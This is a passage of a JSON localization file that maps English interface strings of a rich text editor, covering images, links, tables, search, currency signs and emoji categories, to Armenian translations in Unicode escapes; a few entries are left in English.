"Plugins installed ({0}):": "\u054f\u0565\u0572\u0561\u0564\u0580\u057e\u0561\u056e \u0583\u056c\u0561\u0563\u056b\u0576\u0576\u0565\u0580 ({0}):",
"Premium plugins:": "\u054e\u0573\u0561\u0580\u0578\u057e\u056b \u0568\u0576\u0564\u056c\u0561\u0575\u0576\u0578\u0582\u0574\u0576\u0565\u0580",
"Learn more...": "\u053b\u0574\u0561\u0576\u0561\u056c \u0561\u057e\u0565\u056c\u056b\u0576 \u2024\u2024\u2024",
"You are using {0}": "\u0534\u0578\u0582\u0584 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0578\u0582\u0574 \u0565\u0584 {0}",
"Plugins": "\u0538\u0576\u0564\u056c\u0561\u0575\u0576\u0578\u0582\u0574\u0576\u0565\u0580",
"Handy Shortcuts": "\u0555\u0563\u057f\u0561\u056f\u0561\u0580 \u056f\u0561\u0580\u0573\u0578\u0582\u0572\u056b\u0576\u0565\u0580",
"Horizontal line": "\u0540\u0578\u0580\u056b\u0566\u0578\u0576\u0561\u056f\u0561\u0576 \u0563\u056b\u056e",
"Insert\/edit image": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c\/\u056d\u0574\u0562\u0561\u0563\u0580\u0565\u056c \u0576\u056f\u0561\u0580",
"Image description": "\u0546\u056f\u0561\u0580\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Source": "\u0546\u056f\u0561\u0580\u056b \u0570\u0561\u057d\u0581\u0565",
"Dimensions": "\u0549\u0561\u0583\u0565\u0580",
"Constrain proportions": "\u054a\u0561\u0570\u057a\u0561\u0576\u0565\u056c \u0574\u0561\u0577\u057f\u0561\u0562\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0568",
"General": "\u0533\u056c\u056d\u0561\u057e\u0578\u0580",
"Advanced": "\u053c\u0580\u0561\u0581\u0578\u0582\u0581\u056b\u0579",
"Style": "\u0548\u0573",
"Vertical space": "\u0548\u0582\u0572\u0572\u0561\u0570\u0561\u0575\u0561\u0581 \u057f\u0561\u0580\u0561\u056e\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Horizontal space": "\u0540\u0578\u0580\u056b\u0566\u0578\u0576\u0561\u056f\u0561\u0576 \u057f\u0561\u0580\u0561\u056e\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Border": "\u0535\u0566\u0580\u0561\u0563\u056b\u056e",
"Insert image": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0576\u056f\u0561\u0580",
"Image...": "\u0546\u056f\u0561\u0580",
"Image list": "Image list",
"Rotate counterclockwise": "\u054a\u057f\u057f\u0565\u056c \u056a\u0561\u0574\u057d\u056c\u0561\u0584\u056b\u0576 \u0570\u0561\u056f\u0561\u057c\u0561\u056f",
"Rotate clockwise": "\u054a\u057f\u057f\u0565\u056c \u056a\u0561\u0574\u057d\u056c\u0561\u0584\u056b \u0578\u0582\u0572\u0572\u0578\u0582\u0569\u0575\u0561\u0574\u0562",
"Flip vertically": "\u0548\u0582\u0572\u0572\u0561\u0570\u0561\u0575\u0561\u0581 \u0561\u0580\u057f\u0561\u0581\u0578\u056c\u0578\u0582\u0574",
"Flip horizontally": "\u0540\u0578\u0580\u056b\u0566\u0578\u0576\u0561\u056f\u0561\u0576 \u0561\u0580\u057f\u0561\u0581\u0578\u056c\u0578\u0582\u0574",
"Edit image": "\u053d\u0562\u0574\u0562\u0561\u0563\u0580\u0565\u056c \u0576\u056f\u0561\u0580\u0568",
"Image options": "\u0546\u056f\u0561\u0580\u056b \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580\u0568",
"Zoom in": "\u0544\u0565\u056e\u0561\u0581\u0576\u0565\u056c",
"Zoom out": "\u0553\u0578\u0584\u0580\u0561\u0581\u0576\u0565\u056c",
"Crop": "\u053f\u057f\u0580\u0565\u056c",
"Resize": "\u0553\u0578\u056d\u0565\u056c \u0579\u0561\u0583\u0568",
"Orientation": "\u053f\u0578\u0572\u0574\u0576\u0578\u0580\u0578\u0577\u0578\u0582\u0574",
"Brightness": "\u054a\u0561\u0575\u056e\u0561\u057c\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Sharpen": "Sharpen",
"Contrast": "\u053f\u0578\u0576\u057f\u0580\u0561\u057d\u057f",
"Color levels": "Color levels",
"Gamma": "\u0533\u0561\u0574\u0574\u0561",
"Invert": "\u0553\u0578\u056d\u0561\u057f\u0565\u0572\u0565\u056c",
"Apply": "\u0540\u0561\u057d\u057f\u0561\u057f\u0565\u056c",
"Back": "\u0540\u0565\u057f",
"Insert date\/time": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0561\u0574\u057d\u0561\u0569\u056b\u057e\/\u056a\u0561\u0574\u0561\u0576\u0561\u056f",
"Date\/time": "\u0531\u0574\u057d\u0561\u0569\u056b\u057e\/\u056a\u0561\u0574\u0561\u0576\u0561\u056f",
"Insert\/Edit Link": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c\/\u0553\u0578\u0583\u0578\u056d\u0565\u056c \u0540\u0572\u0578\u0582\u0574\u0568",
"Insert\/edit link": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c\/\u056d\u0574\u0562\u0561\u0563\u0580\u0565\u056c \u0570\u0572\u0578\u0582\u0574",
"Text to display": "\u0540\u0572\u0574\u0561\u0576 \u057f\u0565\u0584\u057d\u057f",
"Url": "Url",
"Open link in...": "\u0532\u0561\u0581\u0565\u056c \u0570\u0572\u0578\u0582\u0574\u0568",
"Current window": "\u0538\u0576\u0569\u0561\u0581\u056b\u056f \u057a\u0561\u057f\u0578\u0582\u0570\u0561\u0576\u0568",
"None": "\u0548\u0579\u056b\u0576\u0579",
"New window": "\u0546\u0578\u0580 \u057a\u0561\u057f\u0578\u0582\u0570\u0561\u0576",
"Remove link": "\u054b\u0576\u057b\u0565\u056c \u0570\u0572\u0578\u0582\u0574\u0568",
"Anchors": "\u053d\u0561\u0580\u056b\u057d\u056d\u0576\u0565\u0580",
"Link...": "\u0540\u0572\u0578\u0582\u0574",
"Paste or type a link": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u0584 \u056f\u0561\u0574 \u0563\u0580\u0565\u0584 \u0570\u0572\u0578\u0582\u0574\u0568",
"The URL you entered seems to be an email address. Do you want to add the required mailto: prefix?": "\u0544\u0578\u0582\u057f\u0584\u0561\u0563\u0580\u057e\u0561\u056e \u0570\u0572\u0578\u0582\u0574\u0568 \u056f\u0561\u0580\u056e\u0565\u057d \u0537\u056c. \u0583\u0578\u057d\u057f\u056b \u0570\u0561\u057d\u0581\u0565 \u0567: \u0534\u0578\u0582\u0584 \u056f\u0581\u0561\u0576\u056f\u0561\u0576\u0561\u0584 \u0561\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c mailto: \u0570\u0572\u0574\u0561\u0576 \u057d\u056f\u0566\u0562\u0578\u0582\u0574",
"The URL you entered seems to be an external link. Do you want to add the required http:\/\/ prefix?": "\u0544\u0578\u0582\u057f\u0584\u0561\u0563\u0580\u057e\u0561\u056e \u0570\u0572\u0578\u0582\u0574\u0568 \u056f\u0561\u0580\u056e\u0565\u057d \u0561\u0580\u057f\u0561\u0584\u056b\u0576 \u0570\u0572\u0578\u0582\u0574 \u0567: \u0534\u0578\u0582\u0584 \u056f\u0581\u0561\u0576\u056f\u0561\u0576\u0561\u0584 \u0561\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c http:\/\/ \u0570\u0572\u0574\u0561\u0576 \u057d\u056f\u0566\u0562\u0578\u0582\u0574",
"Link list": "\u0540\u0572\u0578\u0582\u0574\u0576\u0565\u0580\u056b \u0581\u0578\u0582\u0581\u0561\u056f",
"Insert video": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u057e\u056b\u0564\u0565\u0578",
"Insert\/edit video": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c\/\u056d\u0574\u0562\u0561\u0563\u0580\u0565\u056c \u057e\u056b\u0564\u0565\u0578",
"Insert\/edit media": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c\/\u056d\u0574\u0562\u0561\u0563\u0580\u0565\u056c \u0574\u0565\u0564\u056b\u0561",
"Alternative source": "\u0531\u0575\u056c\u0568\u0576\u057f\u0580\u0561\u0576\u0584\u0561\u0575\u056b\u0576 \u056f\u0578\u0564",
"Alternative source URL": "\u0531\u0575\u056c\u0568\u0576\u057f\u0580\u0561\u0576\u0584\u0561\u0575\u056b\u0576 \u0561\u0572\u0562\u0575\u0578\u0582\u0580\u056b \u0570\u0572\u0578\u0582\u0574",
"Media poster (Image URL)": "\u0544\u0565\u0564\u056b\u0561 \u057a\u0561\u057d\u057f\u0561\u057c (\u0546\u056f\u0561\u0580\u056b \u0570\u0572\u0578\u0582\u0574)",
"Paste your embed code below:": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u0584 \u0541\u0565\u0580 \u056f\u0578\u0564\u0568 \u0561\u0575\u057d\u057f\u0565\u0572\u055d",
"Embed": "\u054f\u0565\u0572\u0561\u0564\u0580\u057e\u0578\u0572 \u056f\u0578\u0564",
"Media...": "\u0544\u0565\u0564\u056b\u0561",
"Nonbreaking space": "\u0531\u057c\u0561\u0576\u0581 \u0576\u0578\u0580 \u057f\u0578\u0572\u056b \u0562\u0561\u0581\u0561\u057f",
"Page break": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0567\u057b\u056b \u0561\u0576\u057b\u0561\u057f\u056b\u0579",
"Paste as text": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0578\u0580\u057a\u0565\u057d \u057f\u0565\u0584\u057d\u057f",
"Preview": "\u0546\u0561\u056d\u0576\u0561\u056f\u0561\u0576 \u0564\u056b\u057f\u0578\u0582\u0574",
"Print...": "\u054f\u057a\u0565\u056c",
"Save": "\u054a\u0561\u0570\u057a\u0561\u0576\u0565\u056c",
"Find": "\u0553\u0576\u057f\u0580\u0565\u056c",
"Replace with": "\u0553\u0578\u056d\u0561\u0580\u056b\u0576\u0565\u056c",
"Replace": "\u0553\u0578\u056d\u0561\u0580\u056b\u0576\u0565\u056c",
"Replace all": "\u0553\u0578\u056d\u0561\u0580\u056b\u0576\u0565\u056c \u0562\u0578\u056c\u0578\u0580\u0568",
"Previous": "\u0546\u0561\u056d\u0578\u0580\u0564",
"Next": "\u0540\u0561\u057b\u0578\u0580\u0564",
"Find and replace...": "\u0553\u0576\u057f\u0580\u0565\u056c \u0587 \u0583\u0578\u056d\u0561\u0580\u056b\u0576\u0565\u056c",
"Could not find the specified string.": "\u0546\u0577\u057e\u0561\u056e \u057f\u0565\u0584\u057d\u057f\u0568 \u0579\u056b \u0563\u057f\u0576\u057e\u0565\u056c",
"Match case": "\u0540\u0561\u0577\u057e\u056b \u0561\u057c\u0576\u0565\u056c \u057c\u0565\u0563\u056b\u057d\u057f\u0578\u0580\u0568",
"Find whole words only": "\u0533\u057f\u0576\u0565\u056c \u0574\u056b\u0561\u0575\u0576 \u0561\u0574\u0562\u0578\u0572\u057b \u0562\u0561\u057c\u0565\u0580\u0568",
"Spell check": "\u0548\u0582\u0572\u0572\u0561\u0563\u0580\u0578\u0582\u0569\u0575\u0561\u0576 \u057d\u057f\u0578\u0582\u0563\u0578\u0582\u0574",
"Ignore": "\u0531\u0576\u057f\u0565\u057d\u0565\u056c",
"Ignore all": "\u0531\u0576\u057f\u0565\u057d\u0565\u056c \u0562\u0578\u056c\u0578\u0580\u0568",
"Finish": "\u0531\u057e\u0561\u0580\u057f\u0565\u056c",
"Add to Dictionary": "\u0531\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c \u0562\u0561\u057c\u0561\u0580\u0561\u0576\u0578\u0582\u0574",
"Insert table": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u0561\u0572\u0575\u0578\u0582\u057d\u0561\u056f",
"Table properties": "\u0531\u0572\u0575\u0578\u0582\u057d\u0561\u056f\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568",
"Delete table": "\u054b\u0576\u057b\u0565\u056c \u0561\u0572\u0575\u0578\u0582\u057d\u0561\u056f\u0568",
"Cell": "\u054e\u0561\u0576\u0564\u0561\u056f",
"Row": "\u054f\u0578\u0572",
"Column": "\u054d\u0575\u0578\u0582\u0576\u0575\u0561\u056f",
"Cell properties": "\u054e\u0561\u0576\u0564\u0561\u056f\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568",
"Merge cells": "\u0544\u056b\u0561\u057e\u0578\u0580\u0565\u056c \u057e\u0561\u0576\u0564\u0561\u056f\u0576\u0565\u0580\u0568",
"Split cell": "\u0532\u0561\u056a\u0561\u0576\u0565\u056c \u057e\u0561\u0576\u0564\u0561\u056f\u0568",
"Insert row before": "\u0531\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c \u057f\u0578\u0572 \u057e\u0565\u0580\u0587\u0578\u0582\u0574",
"Insert row after": "\u0531\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c \u057f\u0578\u0572 \u0576\u0565\u0580\u0584\u0587\u0578\u0582\u0574",
"Delete row": "\u054b\u0576\u057b\u0565\u056c \u057f\u0578\u0572\u0568",
"Row properties": "\u054f\u0578\u0572\u056b \u0570\u0561\u057f\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580\u0568",
"Cut row": "\u053f\u057f\u0580\u0565\u056c \u057f\u0578\u0572\u0568",
"Copy row": "\u054a\u0561\u057f\u0573\u0565\u0576\u0565\u056c \u057f\u0578\u0572\u0568",
"Paste row before": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u057f\u0578\u0572\u0568 \u057e\u0565\u0580\u0587\u0578\u0582\u0574",
"Paste row after": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c \u057f\u0578\u0572\u0568 \u0576\u0565\u0580\u0584\u0587\u0578\u0582\u0574",
"Insert column before": "\u0531\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c \u0576\u0578\u0580 \u057d\u0575\u0578\u0582\u0576 \u0571\u0561\u056d\u056b\u0581",
"Insert column after": "\u0531\u057e\u0565\u056c\u0561\u0581\u0576\u0565\u056c \u0576\u0578\u0580 \u057d\u0575\u0578\u0582\u0576 \u0561\u057b\u056b\u0581",
"Delete column": "\u0541\u0576\u057b\u0565\u056c \u057d\u0575\u0578\u0582\u0576\u0568",
"Cols": "\u054d\u0575\u0578\u0582\u0576\u0575\u0561\u056f\u0576\u0565\u0580",
"Rows": "\u054f\u0578\u0572\u0565\u0580",
"Width": "\u053c\u0561\u0575\u0576\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Height": "\u0532\u0561\u0580\u0571\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Cell spacing": "\u0531\u0580\u057f\u0561\u0584\u056b\u0576 \u057f\u0561\u0580\u0561\u056e\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Cell padding": "\u0546\u0565\u0580\u0584\u056b\u0576 \u057f\u0561\u0580\u0561\u056e\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Show caption": "\u0551\u0578\u0582\u0581\u0561\u0564\u0580\u0565\u056c \u057e\u0565\u0580\u0576\u0561\u0563\u056b\u0580\u0568",
"Left": "\u0541\u0561\u056d",
"Center": "\u053f\u0565\u0576\u057f\u0580\u0578\u0576",
"Right": "\u0531\u057b",
"Cell type": "\u054e\u0561\u0576\u0564\u0561\u056f\u056b \u057f\u056b\u057a",
"Scope": "Scope",
"Alignment": "\u0540\u0561\u057e\u0561\u057d\u0561\u0580\u0565\u0581\u0578\u0582\u0574",
"H Align": "\u0540. \u0540\u0561\u057e\u0561\u057d\u0561\u0580\u0565\u0581\u0578\u0582\u0574",
"V Align": "\u0548\u0582. \u0570\u0561\u057e\u0561\u057d\u0561\u0580\u0565\u0581\u0578\u0582\u0574",
"Top": "\u054e\u0565\u0580\u0587",
"Middle": "\u0544\u0565\u057b\u057f\u0565\u0572",
"Bottom": "\u0546\u0565\u0580\u0584\u0587",
"Header cell": "\u054e\u0565\u0580\u0576\u0561\u0563\u0580\u056b \u057e\u0561\u0576\u0564\u0561\u056f\u0576\u0565\u0580",
"Row group": "\u054f\u0578\u0572\u0565\u0580\u056b \u056d\u0578\u0582\u0574\u0562",
"Column group": "\u054d\u0575\u0578\u0582\u0576\u0575\u0561\u056f\u0576\u0565\u0580\u056b \u056d\u0578\u0582\u0574\u0562",
"Row type": "\u054f\u0578\u0572\u056b \u057f\u056b\u057a",
"Header": "\u054e\u0565\u0580\u0576\u0561\u0563\u056b\u0580",
"Body": "\u054a\u0561\u0580\u0578\u0582\u0576\u0561\u056f\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Footer": "\u0531\u0572\u0575\u0578\u0582\u057d\u0561\u056f\u056b \u057d\u057f\u0578\u0580\u056b\u0576 \u0570\u0561\u057f\u057e\u0561\u056e",
"Border color": "\u0535\u0566\u0580\u0561\u0563\u056b\u056e",
"Insert template...": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u0584 \u0571\u0587\u0561\u0576\u0574\u0578\u0582\u0577",
"Templates": "\u0541\u0587\u0561\u0576\u0574\u0578\u0582\u0577\u0576\u0565\u0580",
"Template": "\u0541\u0587\u0561\u0576\u0574\u0578\u0582\u0577",
"Text color": "\u054f\u0561\u057c\u056b \u0563\u0578\u0582\u0575\u0576",
"Background color": "\u0556\u0578\u0576\u056b \u0563\u0578\u0582\u0575\u0576",
"Custom...": "\u0531\u0575\u056c...",
"Custom color": "\u0531\u0575\u056c \u0563\u0578\u0582\u0575\u0576",
"No color": "\u0531\u0576\u0563\u0578\u0582\u0575\u0576",
"Remove color": "\u054b\u0576\u057b\u0565\u056c \u0563\u0578\u0582\u0575\u0576\u0568",
"Table of Contents": "\u0551\u0561\u0576\u056f",
"Show blocks": "\u0551\u0578\u0582\u0581\u0561\u0564\u0580\u0565\u056c \u0562\u056c\u0578\u056f\u0576\u0565\u0580\u0568",
"Show invisible characters": "\u0551\u0578\u0582\u0575\u0581 \u057f\u0561\u056c \u0561\u0576\u057f\u0565\u057d\u0561\u0576\u0565\u056c\u056b \u057d\u056b\u0574\u057e\u0578\u056c\u0576\u0565\u0580\u0568",
"Word count": "\u0532\u0561\u057c\u056b \u0584\u0561\u0576\u0561\u056f",
"Count": "\u0554\u0561\u0576\u0561\u056f\u0568",
"Document": "\u0553\u0561\u057d\u057f\u0561\u0569\u0578\u0582\u0572\u0569",
"Selection": "\u0538\u0576\u057f\u0580\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Words": "\u0532\u0561\u057c\u0565\u0580",
"Words: {0}": "\u0532\u0561\u057c\u0565\u0580\u056b \u0584\u0561\u0576\u0561\u056f: {0}",
"{0} words": "{0} \u0562\u0561\u057c",
"File": "\u0556\u0561\u0575\u056c",
"Edit": "\u053d\u0574\u0562\u0561\u0563\u0580\u0565\u056c",
"Insert": "\u054f\u0565\u0572\u0561\u0564\u0580\u0565\u056c",
"View": "\u054f\u0565\u057d\u0584",
"Format": "\u0556\u0578\u0580\u0574\u0561\u057f",
"Table": "\u0531\u0572\u0575\u0578\u0582\u057d\u0561\u056f",
"Tools": "\u0533\u0578\u0580\u056e\u056b\u0584\u0576\u0565\u0580",
"Powered by {0}": "Powered by {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u054f\u0565\u0584\u057d\u057f\u0561\u0575\u056b\u0576 \u0564\u0561\u0577\u057f\u0589 \u054d\u0565\u0572\u0574\u0565\u0584 ALT-F9 \u0574\u0565\u0576\u0575\u0578\u0582\u056b \u0570\u0561\u0574\u0561\u0580\u0589 ALT-F10 \u0563\u0578\u0580\u056e\u056b\u0584\u0576\u0565\u0580\u056b \u057e\u0561\u0570\u0561\u0576\u0561\u056f\u0589 \u054d\u0565\u0572\u0574\u0565\u0584 ALT-0 \u0585\u0563\u0576\u0578\u0582\u0569\u0575\u0561\u0576 \u0570\u0561\u0574\u0561\u0580",
"Image title": "\u0546\u056f\u0561\u0580\u056b \u057e\u0565\u0580\u0576\u0561\u0563\u056b\u0580",
"Border width": "\u054d\u0561\u0570\u0574\u0561\u0576\u056b \u056c\u0561\u0575\u0576\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0568",
"Border style": "\u054d\u0561\u0570\u0574\u0561\u0576\u056b \u0578\u0573\u0568",
"Error": "\u054d\u056d\u0561\u056c",
"Warn": "\u0536\u0563\u0578\u0582\u0577\u0561\u0581\u0578\u0582\u0574",
"Valid": "\u054e\u0561\u057e\u0565\u0580 \u0567",
"To open the popup, press Shift+Enter": "\u0539\u057c\u0578\u0582\u0581\u056b\u056f\u0568 \u0562\u0561\u0581\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u057d\u0565\u0572\u0574\u0565\u0584 Shift + Enter",
"Rich Text Area. Press ALT-0 for help.": "\u0540\u0561\u0580\u0578\u0582\u057d\u057f \u057f\u0565\u0584\u057d\u057f\u0561\u0575\u056b\u0576 \u057f\u0561\u0580\u0561\u056e\u0584: \u0555\u0563\u0576\u0578\u0582\u0569\u0575\u0561\u0576 \u0570\u0561\u0574\u0561\u0580 \u057d\u0565\u0572\u0574\u0565\u0584 ALT-0:",
"System Font": "\u0540\u0561\u0574\u0561\u056f\u0561\u0580\u0563\u056b \u057f\u0561\u057c\u0561\u057f\u0565\u057d\u0561\u056f",
"Failed to upload image: {0}": "\u0549\u0570\u0561\u057b\u0578\u0572\u057e\u0565\u0581 \u057e\u0565\u0580\u0562\u0565\u057c\u0576\u0565\u056c \u057a\u0561\u057f\u056f\u0565\u0580\u0568: {0}",
"Failed to load plugin: {0} from url {1}": "\u0549\u0570\u0561\u057b\u0578\u0572\u057e\u0565\u0581 \u0562\u0565\u057c\u0576\u0565\u056c \u057a\u056c\u0561\u0563\u056b\u0576\u0568\u0589 {0} \u0570\u0572\u0578\u0582\u0574\u056b\u0581 {1}",
"Failed to load plugin url: {0}": "\u0549\u0570\u0561\u057b\u0578\u0572\u057e\u0565\u0581 \u0562\u0565\u057c\u0576\u0565\u056c \u057a\u056c\u0561\u0563\u056b\u0576\u0568 \u0570\u0572\u0578\u0582\u0574\u056b\u0581\u0589 {0}",
"Failed to initialize plugin: {0}": "\u0549\u0570\u0561\u057b\u0578\u0572\u057e\u0565\u0581 \u0574\u056b\u0561\u0581\u0576\u0565\u056c \u057a\u056c\u0561\u0563\u056b\u0576\u0568\u0589 {0}",
"example": "\u0585\u0580\u056b\u0576\u0561\u056f",
"Search": "\u0553\u0576\u057f\u0580\u0565\u056c",
"All": "\u0532\u0578\u056c\u0578\u0580\u0568",
"Currency": "\u0531\u0580\u056a\u0578\u0582\u0575\u0569",
"Text": "\u054f\u0565\u0584\u057d\u057f",
"Quotations": "\u0544\u0565\u057b\u0562\u0565\u0580\u0578\u0582\u0574\u0576\u0565\u0580",
"Mathematical": "\u0544\u0561\u0569\u0565\u0574\u0561\u057f\u056b\u056f\u0561\u056f\u0561\u0576",
"Extended Latin": "\u0538\u0576\u0564\u0561\u0580\u0571\u0561\u056f \u056c\u0561\u057f\u056b\u0576\u0565\u0580\u0565\u0576",
"Symbols": "\u054d\u056b\u0574\u057e\u0578\u056c\u0576\u0565\u0580",
"Arrows": "\u054d\u056c\u0561\u0584\u0576\u0565\u0580",
"User Defined": "\u0555\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0578\u0572\u056b \u056f\u0578\u0572\u0574\u056b\u0581 \u054d\u0561\u0570\u0574\u0561\u0576\u057e\u0561\u056e",
"dollar sign": "\u0564\u0578\u056c\u056c\u0561\u0580\u056b \u0576\u0577\u0561\u0576",
"currency sign": "\u0561\u0580\u056a\u0578\u0582\u0575\u0569\u056b \u0576\u0577\u0561\u0576",
"euro-currency sign": "\u0565\u057e\u0580\u0578-\u0561\u0580\u056a\u0578\u0582\u0575\u0569\u056b \u0576\u0577\u0561\u0576",
"colon sign": "\u056f\u0580\u056f\u0576\u0561\u056f\u0565\u057f \u0576\u0577\u0561\u0576",
"cruzeiro sign": "\u0576\u0561\u057e\u0561\u0580\u056f\u0578\u0582\u0569\u0575\u0561\u0576 \u0576\u0577\u0561\u0576",
"french franc sign": "\u0586\u0580\u0561\u0576\u057d\u056b\u0561\u056f\u0561\u0576 \u0586\u0580\u0561\u0576\u056f\u056b \u0576\u0577\u0561\u0576",
"lira sign": "\u056c\u056b\u0580\u056b \u0576\u0577\u0561\u0576",
"mill sign": "\u057b\u0580\u0561\u0572\u0561\u0581\u056b \u0576\u0577\u0561\u0576",
"naira sign": "\u0576\u0561\u056b\u0580\u0561\u0575\u056b \u0576\u0577\u0561\u0576",
"peseta sign": "\u057a\u0565\u057d\u0565\u057f\u0561\u0575\u056b \u0576\u0577\u0561\u0576",
"rupee sign": "\u057c\u0578\u0582\u0583\u056b\u056b \u0576\u0577\u0561\u0576",
"won sign": "\u0577\u0561\u0570\u0565\u056c\u0578\u0582 \u0576\u0577\u0561\u0576\u0568",
"new sheqel sign": "\u0576\u0578\u0580 \u0577\u0565\u056f\u0565\u056c \u0576\u0577\u0561\u0576",
"dong sign": "\u0564\u0578\u0576\u0563\u056b \u0576\u0577\u0561\u0576",
"kip sign": "\u056f\u056b\u057a \u0576\u0577\u0561\u0576",
"tugrik sign": "\u057f\u0578\u0582\u0563\u0580\u056b\u056f\u056b \u0576\u0577\u0561\u0576",
"drachma sign": "\u0564\u0580\u0561\u0574\u0561\u056d\u0574\u0561\u0575\u056b \u0576\u0577\u0561\u0576",
"german penny symbol": "\u0563\u0565\u0580\u0574\u0561\u0576\u0561\u056f\u0561\u0576 \u057a\u0565\u0576\u056b\u0575\u056b \u056d\u0578\u0580\u0570\u0580\u0564\u0561\u0576\u056b\u0577",
"peso sign": "\u057a\u0565\u057d\u0578\u0575\u056b \u0576\u0577\u0561\u0576",
"guarani sign": "\u0563\u0578\u0582\u0561\u0580\u0561\u0576\u056b \u0576\u0577\u0561\u0576",
"austral sign": "\u0561\u057e\u057d\u057f\u0580\u0561\u056c\u056b \u0576\u0577\u0561\u0576",
"hryvnia sign": "\u0563\u0580\u056b\u057e\u0576\u0561\u0575\u056b \u0576\u0577\u0561\u0576",
"cedi sign": "\u0584\u0565\u0564\u056b \u0576\u0577\u0561\u0576",
"livre tournois sign": "\u056c\u056b\u057e\u0580\u0565 \u0569\u0578\u0582\u0580\u0576\u0578\u056b\u057d \u0576\u0577\u0561\u0576",
"spesmilo sign": "\u057d\u057a\u0565\u057d\u0574\u056b\u056c\u0578 \u0576\u0577\u0561\u0576",
"tenge sign": "\u057f\u0565\u0576\u0563\u0565 \u0576\u0577\u0561\u0576",
"indian rupee sign": "\u0570\u0576\u0564\u056f\u0561\u056f\u0561\u0576 \u057c\u0578\u0582\u0583\u056b \u0576\u0577\u0561\u0576",
"turkish lira sign": "\u0569\u0578\u0582\u0580\u0584\u0561\u056f\u0561\u0576 \u056c\u056b\u0580\u0561\u0575\u056b \u0576\u0577\u0561\u0576",
"nordic mark sign": "\u0570\u0575\u0578\u0582\u057d\u056b\u057d\u0561\u0575\u056b\u0576 \u0576\u0577\u0561\u0576\u056b \u0576\u0577\u0561\u0576",
"manat sign": "\u0574\u0561\u0576\u0561\u0569\u056b \u0576\u0577\u0561\u0576",
"ruble sign": "\u057c\u0578\u0582\u0562\u056c\u0578\u0582 \u0576\u0577\u0561\u0576",
"yen character": "\u056b\u0565\u0576\u056b \u0576\u0577\u0561\u0576",
"yuan character": "\u0575\u0578\u0582\u0561\u0576\u056b \u0576\u0577\u0561\u0576",
"yuan character, in hong kong and taiwan": "\u0575\u0578\u0582\u0561\u0576\u056b \u0576\u0577\u0561\u0576 \u0570\u0578\u0576\u0563\u056f\u0578\u0576\u0563\u0578\u0582\u0574 \u0587 \u0569\u0561\u0575\u057e\u0561\u0576\u0578\u0582\u0574",
"yen\/yuan character variant one": "\u0575\u0565\u0576\u056b\/\u0575\u0578\u0582\u0561\u0576\u056b \u0576\u0577\u0561\u0576 \u057f\u0561\u0580\u0562\u0565\u0580\u0561\u056f \u0561\u057c\u0561\u057b\u056b\u0576",
"Loading emoticons...": "\u054d\u0574\u0561\u0575\u056c\u056b\u056f\u0576\u0565\u0580\u056b \u0562\u0565\u057c\u0576\u0578\u0582\u0574\u0568\u2024\u2024\u2024",
"Could not load emoticons": "\u0549\u056f\u0561\u0580\u0578\u0572\u0561\u0581\u0561\u0576 \u0562\u0565\u057c\u0576\u057e\u0565\u056c \u057d\u0574\u0561\u0575\u056c\u056b\u056f\u0576\u0565\u0580\u0568",
"People": "\u0544\u0561\u0580\u0564\u056b\u0584",
"Animals and Nature": "\u053f\u0565\u0576\u0564\u0561\u0576\u056b\u0576\u0565\u0580 \u0587 \u0532\u0576\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Food and Drink": "\u054d\u0576\u0578\u0582\u0576\u0564 \u0587 \u056d\u0574\u056b\u0579\u0584",
"Activity": "\u0533\u0578\u0580\u056e\u0578\u0582\u0576\u0565\u0578\u0582\u0569\u0575\u0578\u0582\u0576",
"Travel and Places": "\u0543\u0561\u0576\u0561\u057a\u0561\u0580\u0570\u0578\u0580\u0564\u0578\u0582\u0569\u0575\u0578\u0582\u0576\u0576\u0565\u0580 \u0587 \u057e\u0561\u0575\u0580\u0565\u0580",
"Objects": "\u0555\u0562\u0575\u0565\u056f\u057f\u0576\u0565\u0580",
